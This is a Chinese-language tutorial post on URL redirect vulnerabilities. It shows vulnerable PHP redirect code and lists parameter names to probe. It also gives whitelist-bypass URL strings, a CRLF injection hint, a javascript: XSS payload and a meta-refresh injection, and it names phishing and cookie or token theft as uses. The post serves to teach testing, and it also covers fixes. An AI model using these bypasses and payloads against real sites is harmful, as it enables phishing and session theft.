文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

URL跳转漏洞

2023-09-01 15:53

关注

URL重定向=url跳转漏洞
http://www.zhenggui.com/
http://www.zhengguilcom?url=1
一般看到这里我们会去测试sql注入漏洞,但是除了sql注入漏洞,我们还可以去测试url跳转漏洞
http://www.zhengguilcom?url=http://www.xxx.com
访问: http://www.zhengguilcom?url=http://www.xxx.com 直接就会跳转到http://www.xxx.com
这就是URL漏洞的展现形态和他最初的思路
我们在学漏洞的时候,最关心的就是漏洞这么挖,以及这个漏洞怎么利用才能造成危害
一般利用点
CRLF漏洞
在数据包里面修改成GET xxx/xxx?url=http://www.xxx.com发送,然后去看返红包里面有没有302的状态码进行跳转,返红包的头部有没有换行,有的话就存在crlf漏洞
302跳转: 即设置HTTP响应头Locatioin: url,如果ur包含了CRLF (回车换行),就可能隔断了http响应头,使得后面部分落到了http body,从而跳转到构造的网址。

http://www.xxx.com/index.php\r\n

URL跳转漏洞经常出现在登录和注册页面或者在功能处,还有一些用户分享、收藏内容过后跳转到下一步等等
注册登录跳转: 很多登录界面的网址后面会跟一个URL参数,引导我们登录成功后跳转到相应界面,当被我们利用时,则登录成功后可以跳转到我们指定的恶意网站。
http://www.xxx.com/login.php?url=www.hacker.com
http://www.xxx.com/regist.php?url=http://www.google.com
打开连接功能: 很多网站有个功能是打开外部连接,当输入要访问的网址时,会先将网址添加到url上,然后进行跳转,利用添加上url的网址可以进行引导到任意网址
http://www.xxx.com/admin.php?jump=www.baidu.com
像企查查和知乎这种的,你如果输入一个站位的站,他就会提醒你即将跳转到外部连接是否继续,可能有一定的风险,像有这种提示就说明了人家是做了相关的防护,如果说没有相关提示的话,就是一个漏洞
利用姿势
1.正常在测试网站时候,当发现url中存在以下参数,可以进行url跳转测试
1 redirect、redirect_to、redirect_url
2 jump、jump_to、target、domain
3 url、src、to.link、linkto

5公司:A
6a_url
当然这肯定不全,因为每个开发的公司都有自己一套开发的思想的,他可能命名不是那么标准
2.直接获取了用户输入的参数,直接就进行了跳转,没有做任何白名单和黑名单的限制,所以就会产生跳转

1 <?php2 $url=$_GET['url"];3 header("Location: $url");4?>

可以直接拼接上我们要跳转的网址
1 www.xxx.com/admin.php?url=http://www.baidu.com
因为代码写的不对,没有做任何防护就会出现直接跳过去
具体代码怎么写修复的,百度一下就可以了,已经有成型的标准了
3.当存在限制时 这个限制一般是限制只能跳转本网的网址或规定的网址比如www.xxx.com开头的网址

1<?php2 $url=$_GET['url'];3 if(preg_match(/^www\.xxx\.com/,$url)){header("Location: $url");4 }else(echo "error";5 }6 ?>

这样则只能跳转到www.xxx.com开头的网址,这个时候就需要一些绕过了。但这里存在几个url构造利用,能跳转到baidu

1 www.xxx.com:80@baidu.com2 www.xxx.com:80@baidu.com:803 www.xxx.com#@baidu.com4 www.xxx.com @baidu.com5 www.xxx.com @baidu.com:806 www.xxx.com\www.baidu.com7 www.xxx.com\\www.baidu.com8 www.xxx.com?www.baidu.com9 www.xxx.com#www.baidu.com11 http://www.xxx.com?url=http://www.bd.com12 绕过:13 http://www.xxx.com?url=http://www.bd.com@xxx.com

这有篇非常详细的url原理讲解
主要是在网址构造之间对特殊符号FUZZ测试进行自由组合";“、”/“、”“、”=“、”&“、”?“、”:“、”@“、”."
修复
1.限制Referer Referer是header字段,当浏览器向服务器发送请求时,通常会带上Referer,服务器判断是从哪个页面转过来的,然后限制Referer将能保证跳转URL的有效性,避免攻击者生成自己的恶意跳转链接;
2.加入有效性验证Token token验证能有效阻断很多漏洞的利用,保证所有生成的链接都来自可信任的网址,在生成的链接 加入随机不可控的Token,然后对生成的链接进行校验。
高端利用
1、构造xss漏洞 ?url=javascript;alert(1)
2、构造实现url跳转结合钓鱼或者跳转获取到认证
3、获取用户token,cookie
4、meta标签,通过设置meta标签内的refresh属性进行跳转: http://127.0.0.1/1.php?url=1;http://baidu.com" http-equiv="refresh&fsearch=yes
可以让有URL跳转漏洞的网站自动进行跳转
5、经常有的
登录: http://test.com/login/?url=http://baidu.com
退出: http://test.com/logout/?url=http://baidu.com

网络安全是做保障的,开发是做业务的,在甲方安全部门是花钱的

来源地址:https://blog.csdn.net/m0_53008479/article/details/128616524

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯